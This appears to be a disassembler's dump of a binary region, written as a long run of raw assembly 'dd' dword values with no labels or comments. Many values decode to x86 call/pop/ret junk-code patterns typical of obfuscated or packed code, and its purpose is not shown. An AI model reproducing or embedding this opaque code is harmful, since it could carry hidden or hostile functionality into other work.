		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 79E3C350h
		dd 6A0BD380h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 8A57C350h, 8E95557Ah, 18800Fh
		dd 870F0000h, 12h, 0DE9h, 2629B400h, 72EDFFC3h,	7E25EEC1h
		dd 880DC815h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 32BAC352h, 0CA64B211h
		dd 8B788360h, 0A80FA99Dh, 9E907h, 0FD5B0000h, 0C621681Dh
		dd 8B7BD6F5h, 0A8173195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A15D9DB9h
		dd 11CAD7F3h, 0C38166BAh, 8D8BEF64h, 7A80A59h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 24C35242h, 0CF811E02h
		dd 346BDAB8h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CA276FC3h, 1C5C541h, 10E93C85h, 0B5000000h
		dd 6D70BE41h, 69220CDCh, 8A7766ECh, 6A07999Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 3DC6C351h, 9A18572Fh, 1885BD83h, 0F0007A8h, 0AE84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 787D3620h, 81666007h, 8AD55BD6h,	0B861CFh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 31ADC356h, 0DE40F4E8h,	8B993B2Ch
		dd 0A82919BDh, 4D8D8D07h, 6A07A84Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 5EF2C351h
		dd 25E3BB66h, 0AE3E22BFh, 6AE1FF4Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 1024C350h
		dd 0BF0755FCh, 419589E9h, 8307A821h, 0A80939BDh, 840F0007h
		dd 3BFh, 1A1DBD8Bh, 0BD8307A8h,	7A80939h, 0C7840F01h, 89000003h
		dd 0A8180D95h, 39BD8307h, 307A809h, 37E860Fh, 0B70F0000h
		dd 6A60FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 66B631C3h, 0E43F781h, 8BD98C66h, 0A824F99Dh
		dd 8E907h, 0EC8E0000h, 0CD2C38FDh, 0E1809745h, 0D872BB04h
		dd 0C90A390Ch, 144840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 8761D0C3h, 0AF260D39h
		dd 858BF5F7h, 7A80BB1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0EFC35747h, 53529D1Ah, 0B5895F5Bh, 7A826F5h
		dd 28718533h, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 20C612C3h, 3B89FC44h, 8B3E1604h
		dd 0A826B59Dh, 0A7DF8007h, 21398589h, 509007A8h, 0BB525056h
		dd 4FBE1B63h, 12E8310Fh, 0FE000000h, 78E60903h,	0DC67D2A6h
		dd 28BD378Eh, 74FB3B66h, 585A5BBAh, 9D29905Fh, 7A82CD5h
		dd 0BB66006Ah, 0BD8BBBDFh, 7A80F39h, 95BE0168h,	7E97Dh
		dd 0C5930000h, 6F4461CFh, 2434818Dh, 7D8ABDFEh,	2AA5BD8Bh
		dd 95FF07A8h, 7A80539h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0EC35545h, 0CEF54E83h, 8589D4C6h, 7ABBB2Bh
		dd 32858D01h, 0BAE907A8h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 30C1C352h
		dd 0D18589EFh, 0F07A805h, 858BD8BFh, 7ABBB23h, 1800C7h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 172772C3h, 0BE1FD8B8h, 0E9A01546h, 0Fh, 0FD3F469h
		dd 2C5B4539h, 88868286h, 8B5C8CACh, 0ABBB27B5h,	55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0F01DD51Bh, 0B65FB824h, 0F60C331h, 681h, 890F00h, 0BB000000h
		dd 136140F4h, 0CD858B61h, 3307A80Ch, 0A82DB59Dh, 50068907h
		dd 3075BD8Bh, 8B5F07A8h, 0A80BB185h, 799D8B07h,	8907A80Fh
		dd 8D890446h, 7A81DDDh,	44C8BF96h, 50507BCFh, 32BB6652h
		dd 60310FE0h, 0CE9h, 42427B00h,	0DFAD6283h, 93FE1D63h
		dd 0AFB966C1h, 585A617Ah, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0CEE0F697h
		dd 89226ACBh, 0A829C5BDh, 23B5FF07h, 6A07ABBBh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E8B9C356h, 282323CCh, 2D2BBB66h, 0CEB8A168h, 34BB6600h
		dd 243481B0h, 0D1BB5Eh,	8BFE8B60h, 0A821C585h, 858D6107h
		dd 7ABBB2Bh, 0DC23C381h, 0BB902BE9h, 50B175A7h,	8E950h
		dd 0CA40000h, 0DFF6ACEAh, 6A909AF2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F646C352h
		dd 95FFF98Bh, 7A80539h,	1FA8B66h, 0A833A19Dh, 8D016107h
		dd 7A81CD5h, 93985C7h, 307A8h, 0BD8B0000h, 7A8180Dh, 0BB2BBD83h
		dd 0F0007ABh, 3784h, 58C0F00h, 0BF000000h, 11941030h, 42E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0EB394D3Bh, 0BB0732C8h, 18A68CD6h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 9232DF81h
		dd 247D9D89h, 950907A8h, 7A82DB1h, 83F0D780h, 0A80939BDh
		dd 850F0307h, 4A6h, 13E8h, 88ACC400h, 169C6882h, 2E844966h
		dd 0D4059A4h, 13607AC7h, 0E8816660h, 0CE8AB11h,	56000000h
		dd 3BCE10A6h, 4C5302C3h, 59011E92h, 0BD835F61h,	7ABBB2Bh
		dd 67840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0A821C355h,	53CBDD2Ch
		dd 60A964E7h, 0D35B589h, 820F07A8h, 6, 8EE6E281h, 1617235h
		dd 0A822159Dh, 2BB5FF07h, 6A07ABBBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8AB3C351h
		dd 400E4DCEh, 18BDBD01h, 8F0F07A8h, 0
		dd 247595FFh, 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 5AB483C3h, 8A0F480Bh, 6,	21398589h
		dd 0F88B07A8h, 0BB1FB58Bh, 9D0907ABh, 7A825C9h,	106C7h
		dd 0BE90001h, 0CC000000h, 16A4ED51h, 0DEEDB39Eh, 50508D37h
		dd 4890F52h, 66000000h,	0FE357BBh, 89585A31h, 6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0BF274AC3h, 0FF190CC9h, 0ABBB2BB5h, 0E595FF07h, 6A07A823h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 87E4C350h, 9E9ABF66h, 0BB1FB58Bh,	0E38107ABh
		dd 48852668h, 2941858Bh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0FDD214C3h, 8B66500Eh
		dd 86895FF8h, 0C4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0C3C35343h, 75BD8B0Ah, 8B07A830h, 0A80F299Dh
		dd 31958B07h, 6A07A817h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0E273C352h,	4C283CCh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 6DC35747h
		dd 0F4E52270h, 68A0Fh, 0BD8B0000h, 7A80B35h, 6A205089h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89AFC353h, 0A82839BDh, 0D98B6607h, 0CFC1858Dh
		dd 6A07ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 667DC1C3h, 0E8F9BBBBh, 8,	44D0624Ch, 5074392Ch
		dd 123C38BBh, 86895F3Ch, 0B8h, 6A05CB80h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0D27D8018h, 71F4976Ch, 1F97219h, 0A80C558Dh,	0D08B6007h
		dd 0A5858B60h, 0F07A81Bh, 82h, 0FF616100h, 0ABBB2BB5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0E595FF74h, 6A07A814h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3DAAC357h
		dd 0B06FB12Bh, 50D98B5Fh, 3489D88Bh, 11E924h, 9850000h
		dd 4F8EC480h, 5EC4D0E2h, 2D31D8BAh, 0FF8E6DFAh,	0ABBB2BB5h
		dd 0FF5B5007h, 0A81D0995h, 11952907h, 8307A82Bh, 0A81DFDBDh
		dd 840F0007h, 59h, 88D0Fh, 8B600000h, 0A8139D85h, 50966107h
		dd 96F98B66h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	76C35646h, 0D58080E5h, 0CCAB84B4h, 34B99D8Bh, 10E907A8h
		dd 12000000h, 2E50D514h, 496010F8h, 0C81FD2CEh,	8B795536h
		dd 0A82A8D9Dh, 2BB5FF07h, 0B707ABBBh, 0D595FF91h, 8B07A810h
		dd 2BB5FFDFh, 0FF07ABBBh, 0A80B3995h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 67F9F7E4h, 0E1DF8166h, 0F5BD8380h, 207A831h,	86840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 160EEC3h,	0A83151B5h, 91B58B07h, 6107A804h
		dd 2981858Bh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD8BA7C3h, 7A80EE9h, 2E29BD8Bh
		dd 0C607A8h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0B096C05Ah, 0B150DE9Ch, 95897D86h
		dd 7A80EADh, 21C985C7h,	7A8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0A1E930C3h
		dd 56FFFFF2h, 6AC18B5Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3637C355h, 8DF5138Ah
		dd 0A8042585h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 5C7BD98Fh, 0AE890h, 0D6F60000h
		dd 4F12ACC6h, 17505446h, 10E9h,	1E65FF00h, 0FB751472h
		dd 7B7E1FEh, 75B8AA71h,	60905BC7h, 0EA5ABB66h, 7C394BEh
		dd 60506173h, 2E35BE53h, 66590AA5h, 9061D98Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F5C35343h, 0E78166E9h
		dd 6A005Dh, 0B119D8Bh, 6A07A8h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B2C35242h,	927595E2h, 0A1D45BCDh
		dd 0E38166C4h, 858DA76Eh, 7AC81C4h, 0DE9h, 59A86400h, 0B359090Ch
		dd 6E8B7196h, 0C08394D9h, 0D9BF0F05h, 0BF665290h, 505B3208h
		dd 0D63DBBBBh, 6A9030h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 6AFCB8C3h, 5BF6600h, 6A006A37h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 79EDC350h, 9B23846Ch, 6635DE3Bh, 51E7F381h
		dd 8E9h, 93C11100h, 0DFBD2D2h, 3995FFE0h, 6A07A81Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0A7BBC355h, 19671577h, 9A3B8D8Dh, 0BB6607ABh, 0D1FF04C8h
		dd 13E9FA8Bh, 0CF000000h, 52064A80h, 9723A0D9h,	59FAF1D5h
		dd 47AF34Eh, 0BD834877h, 7A806A5h, 9E850F01h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 2EBC352h,	0E944FBEBh, 0E156C18h, 33C9BD8Bh
		dd 0DF8007A8h, 6A026AB9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 1B0C357h, 0EF721BCAh
		dd 0D01BD09h, 8D2907A8h, 7A80065h, 6E850h, 0A0B90000h
		dd 0CA0391C3h, 2404895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0BAC35343h, 0FF2632A1h, 0A814E595h, 0C1B53107h
		dd 2B07A833h, 0A80EDDBDh, 0F87E907h, 0E80000h, 5D000000h
		dd 81CEED81h, 6A07ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 7EAF37C3h, 0D830Fh, 66600000h, 0DB9FDF81h
		dd 0F319D29h, 8B6107A8h, 0A827A59Dh, 3858D07h, 6A07AB8Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 5CDEC353h, 95016025h, 7A81CD5h, 24D1B501h
		dd 0F6107A8h, 6050DFBFh, 8A5E5760h, 850F61C3h, 2, 89616160h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 81F022C3h, 225DDCF3h, 35FF643Dh, 0
		dd 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 1544C353h, 9589AD16h
		dd 7A83409h, 0EE585FFh,	6A07A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 24FEF4C3h, 0C39AD4FEh
		dd 8529ACD3h, 7A83395h,	6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 64BD5BC3h, 0BD8B400Fh
		dd 7A808EDh, 23D1B5FFh,	0B58907A8h, 7A80EE9h, 246D95FFh
		dd 7E907A8h, 8B000001h,	0E600B0DAh, 0ADBD8B70h,	0E407A823h
		dd 66D3B371h, 3CEE38BFh, 0EB830F61h, 8B000000h,	0A8181DBDh
		dd 0C8B60F07h, 24299509h, 8B6607A8h, 6BADEh, 0BD330000h
		dd 7A83051h, 0DF81C18Bh, 108BE79Dh, 1A5D9D89h, 0E8C107A8h
		dd 5BD8B04h, 6607A808h,	0BD33E2F7h, 7A81031h, 9D89C82Bh
		dd 7A825E5h, 9D8BD18Bh,	7A81DCDh, 1E9h,	858BF800h, 7A805C9h
		dd 68A0Fh, 0EB810000h, 4526330Fh, 0F07C083h, 48Ch, 0B9BB6600h
		dd 3595095Dh, 8307A80Ah, 10E900C0h, 4B000000h, 74850930h
		dd 56B805DCh, 0DF142CB1h, 3B9025C0h, 16830FD0h,	81000000h
		dd 335331D3h, 48E95Eh, 81660000h, 0B20D6F3h, 0A8182DBDh
		dd 18D8B07h, 6607A805h,	0E183F88Bh, 2B840F01h, 8B000000h
		dd 0A828D9BDh, 1A58307h, 0FE07A805h, 10859D29h,	89F807A8h
		dd 0A805C995h, 0ADBD0907h, 107A82Fh, 0A82379BDh, 0E907h
		dd 0B58D0000h, 7ABFE4Ch, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 36C35242h, 73C38166h,	6A006A09h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0EAD4C357h, 0CD1565A4h, 0E9767E14h, 0Eh, 0C77E474Fh
		dd 5A8A3715h, 0DC784C01h, 95FF8FA9h, 7A80D21h, 14ADCB81h
		dd 55B911FFh, 51000008h, 2C6D9501h, 835F07A8h, 6AFCE1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 295D43C3h, 0A81AA59Dh, 6890F07h, 29000000h, 0A834F1BDh
		dd 6AFC07h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0F26DD6C3h, 893BD170h, 0A82F5DB5h, 12E807h
		dd 81D0000h, 87BA075Ah,	8FA44408h, 5D590BB1h, 0CFF529C5h
		dd 5FFE8B66h, 0B8h, 45B50100h, 0BF07A808h, 17FA83F3h, 0BAh
		dd 0BE800h, 0BF6F0000h,	0F725B1C1h, 7D3B9050h, 0D5BD29EBh
		dd 5B07A818h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 151DBD8Bh
		dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0B46D18C3h, 0AE9A29Ch, 21000000h,	231FF3E9h
		dd 5EFC83C4h, 0B1BD3162h, 0D07A817h, 88h, 2D818589h, 958B07A8h
		dd 7A81731h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0C7C35040h, 0A598D8Bh, 6A07A8h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 606037C3h
		dd 0FFE8B66h, 8B61DFB7h, 0A834FDBDh, 9D896107h,	7A818FDh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 741379C3h, 7CE849B2h, 8D29D482h, 7A82D0Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 40C35141h, 0AFE8C2E3h
		dd 58B0FF9h, 50000000h,	5BD88B66h, 18FDB501h, 0B70F07A8h
		dd 85BD83FBh, 7A818h, 64840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A9E947C3h
		dd 5B793252h, 336DBD8Bh, 0B807A8h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 19F3C357h, 0BF66D19Ch, 8D8D3802h, 7A84E4Dh, 1D19BD8Bh
		dd 0E1FF07A8h, 14B1BD8Bh, 0BD8307A8h, 7A80939h,	0E8840F00h
		dd 8B000004h, 0A82D219Dh, 39BD8307h, 107A809h, 4F0840Fh
		dd 8D0F0000h, 2, 0BF66FA8Bh, 0BD83FCB6h, 7A80939h, 0A1860F03h
		dd 81000004h, 0A219D0D7h, 0C5BD8903h, 6007A830h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F1C35242h, 8398B409h
		dd 9D807870h, 11E9h, 82C65400h,	51EFE146h, 29AD1C0Eh, 0D64FA22Dh
		dd 8C66731Dh, 3D9D33D9h, 8007A827h, 6A04E1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0A263DC3h
		dd 38840FC9h, 8B000001h, 0A82DC1BDh, 0B1858B07h, 6A07A80Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0E6BBC351h, 29628C4Ah, 0A80F619Dh, 71853307h
		dd 6A07A828h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 9391C353h, 0FBDBD8Bh, 958907A8h
		dd 7A808C5h, 0DF8B6690h, 73BF9050h, 6A587D0Bh, 0F5BD8B00h
		dd 0E807A805h, 4, 1F03FFh, 0AE9h, 0CD0F0700h, 0C6E07EF6h
		dd 505CC606h, 9637BE60h, 51560F5Ah, 8B615E59h, 66042444h
		dd 8BDE8Bh, 4244489h, 500EBF66h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 14984F24h
		dd 31F11A9Bh, 0BD8B2404h, 7A83491h, 53995FFh, 6A07A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3A5B8BC3h, 7DC95E45h, 0BD89F4E1h, 7A82B1Dh, 0BB2B8589h
		dd 0E9FC07ABh, 241h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0CCC35242h, 0EEB8ED3Dh, 8166851Eh, 8B1644EBh
		dd 0ABBB2385h, 9DBD8B07h, 0F807A806h, 1800C7h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 1DB34EC3h, 4B94C68Eh, 33779D1Bh, 0A800199Dh,	0F98D8907h
		dd 8B07A826h, 0ABBB27B5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 8B59B392h
		dd 0A80CCD85h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0CB81CF54h, 74B29983h
		dd 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 73C832C3h, 8D29FC7Eh, 7A833EDh, 0BB1858Bh
		dd 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 5CC37DC3h, 0BFBD8058h, 261C4E5Ah,	6A044689h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 72C1C356h, 8D7D7D2Dh, 0DBB70F53h,	0C2B75096h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BF66A2A4h, 0B5FF256Bh, 7ABBB23h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B1C35343h, 2D9D338Dh
		dd 6807A82Dh, 6DC33775h, 0FE85250h, 49000000h, 38450480h
		dd 682E4024h, 14AAA518h, 0F5BE9EDh, 81585A31h, 348A2434h
		dd 6A6DDCh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 3A91A8C3h, 8D29FB33h, 7A82359h, 0BB99D8Bh
		dd 858D07A8h, 7ABBB2Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh
		dd 7EC35747h, 7EC4F07Dh, 0B14C88A6h, 51BD8BCAh,	9007A82Dh
		dd 9050A3B7h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	86C35545h, 600B003Fh, 0E76699B8h, 8B61F51Bh, 0A82D619Dh
		dd 3995FF07h, 8B07A805h, 6A61D8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 57C6E3C3h, 4A1307F9h
		dd 9D89A6B7h, 7A82795h,	29E58589h, 85C707A8h, 7A80939h
		dd 3, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ch
		dd 6FC35242h, 4F8F8299h, 4410FCDDh, 13E9h, 0F102E900h
		dd 8398B409h, 9D807870h, 0C4C9E7DEh, 3B8C8C1h, 0BB2BBD83h
		dd 0F0007ABh, 5384h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 2BBAA35Fh, 0A29F5524h
		dd 5360E659h, 0A199D2Bh, 605A07A8h, 8F0Fh, 0FE90000h, 6A000000h
		dd 1C25F42Bh, 0D2A429F2h, 252EE7EDh, 61618CBEh,	1EE9h
		dd 0F98B6600h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 6644C352h, 0E934CB81h
		dd 91BD8B57h, 5F07A807h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 8FC35646h, 601EC012h,	1C1D8D89h, 8D0907A8h
		dd 7A8257Dh, 39BD8361h,	307A809h, 4CE850Fh, 0CE80000h
		dd 7F000000h, 0BDE01BD0h, 0FB1E6CEBh, 8B1A90C9h, 0A834919Dh
		dd 0BD835B07h, 7ABBB2Bh, 0A9840F00h, 0E8000004h, 6, 0EC04399Ch
		dd 50510533h, 0FF5B5F5Fh, 0ABBB2BB5h, 0B5858907h, 0FF07A819h
		dd 0A8247595h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD031982h, 7A805F5h
		dd 0BB1FB58Bh, 6A07ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0F6B1A0C3h, 5585310Ah, 0C707A81Ah
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 589EAD3Bh, 4B25BD22h, 39BD8BAAh
		dd 0BF07A817h, 6B2A4985h, 50DE8B96h, 51006A96h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 451F85A2h
		dd 8A0FF921h, 3, 0FFDAB70Fh, 0ABBB2BB5h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0B585898Eh, 8B07A81Ah, 0A805299Dh, 0E595FF07h, 6A07A823h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D4B3C352h, 2AF1A579h, 0BF662469h, 0B58BF76Bh
		dd 7ABBB1Fh, 45B589h, 858B07A8h, 7A82941h, 0D694BB66h
		dd 26A9BD8Bh, 868907A8h, 0C4h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0A6C35343h,	0D71C02Bh, 46716B6Eh
		dd 958BFC16h, 7A81731h,	2471BD89h, 13E907A8h, 0AC000000h
		dd 4892FEBAh, 5C51CD80h, 27CC0C06h, 0B55D49C1h,	0C283FC33h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0CE5DD816h, 2050899Eh, 53F88B66h, 858D5BFCh
		dd 7ABCFC1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	77C35040h, 8FC1F563h, 5DB8194h,	8912E590h, 0B886h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0E960517Dh, 11h,	0CBCAD171h, 8412CB16h
		dd 941A6F9h, 4AD2DB64h,	5E9F0h,	0B69B0000h, 61F6B8A5h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 500584C3h, 0BB2BB5FFh, 6A07ABh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FFAD02C3h
		dd 0B31B6857h, 39BD3199h, 0FF07A808h, 0A814E595h, 5096F507h
		dd 66310F52h, 585AF98Bh, 12E850h, 57780000h, 0A032C32Bh
		dd 6FD42942h, 27525CDDh, 79ADAC37h, 68A0Fh, 830F0000h
		dd 0
		dd 6A965Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0D201E8C3h, 0FFDF8B66h, 0ABBB2BB5h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0B52220B4h, 0F594F822h, 1D0995FFh, 11E807A8h, 3B000000h
		dd 31958699h, 3960A060h, 0A9D9480h, 196CFCF9h, 0EE8h, 0DA848500h
		dd 3A784AEAh, 8FF04E44h, 5B17454Dh, 0FDBD835Bh,	7A81Dh
		dd 39840Fh, 8A500000h, 243489F8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 2FC35040h, 27693FE5h, 60F44354h
		dd 6650C3B5h, 5A0EC7B8h, 0EECB8161h, 0FF574F50h, 0ABBB2BB5h
		dd 0FBB70F07h, 10D595FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B5FFD8C3h, 7ABBB2Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E8C35646h
		dd 0C7818E1Fh, 6613A566h, 28A99D01h, 0BD8907A8h, 7A80365h
		dd 0B3995FFh, 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
